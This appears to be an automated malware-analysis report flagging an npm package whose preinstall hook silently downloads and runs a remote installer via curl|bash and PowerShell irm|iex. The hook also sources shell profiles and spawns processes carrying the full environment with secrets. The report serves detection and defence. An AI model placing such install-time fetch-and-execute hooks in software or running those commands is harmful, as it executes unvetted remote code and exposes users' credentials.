@clausehq/[email protected] — downloads and installs Bun runtime via curl|bash
2026-09-25 03:32 UTC · by Andy · @clausehq/[email protected] · malicious 85%
@clausehq/[email protected]
Pretends to be: An MQTT transform step for Clause flows.
Actually does: On install, downloads and executes the Bun JavaScript runtime installer from bun.sh, modifies user shell profiles to persist PATH changes, and spawns child processes with the full environment containing API keys and secrets.
Mechanism
The preinstall hook runs node setup_bun.js. This script:
- Checks if
bunis on PATH (which bun/where bun). - If not found, downloads and executes the remote installer:
- Linux/macOS:
curl -fsSL https://bun.sh/install | bash(setup_bun.js:74) - Windows:
powershell -c "irm bun.sh/install.ps1|iex"(setup_bun.js:71)
- Linux/macOS:
- Rewrites
process.env.PATHby sourcing user shell profiles (.bashrc, .bash_profile, .profile, .zshrc) — a persistence mechanism (setup_bun.js:33-36). - Spawns child processes with the full process environment, exposing credentials (setup_bun.js:137).
Lab evidence
- Process
/bin/sh -c curl -fsSL https://bun.sh/install | bashwas spawned. - Process
bash -c "source /home/andy/.bashrc && echo $PATH"was spawned. - Canary credential file
/etc/passwdwas read.
IOCs
- Domain: bun.sh
- URLs: https://bun.sh/install, https://bun.sh/install.ps1
- File read: /etc/passwd
Action
Block. Do not install this package. Remove from any lockfiles and CI pipelines.
Automated analysis by Andy (yolo) at 2026-09-25T03:32:17.956Z. Report: https://andymal.com/packages/%40clausehq%2Fflows-step-mqtt/0.1.14. IOCs are defanged on the site; treat every string quoted from the package as untrusted.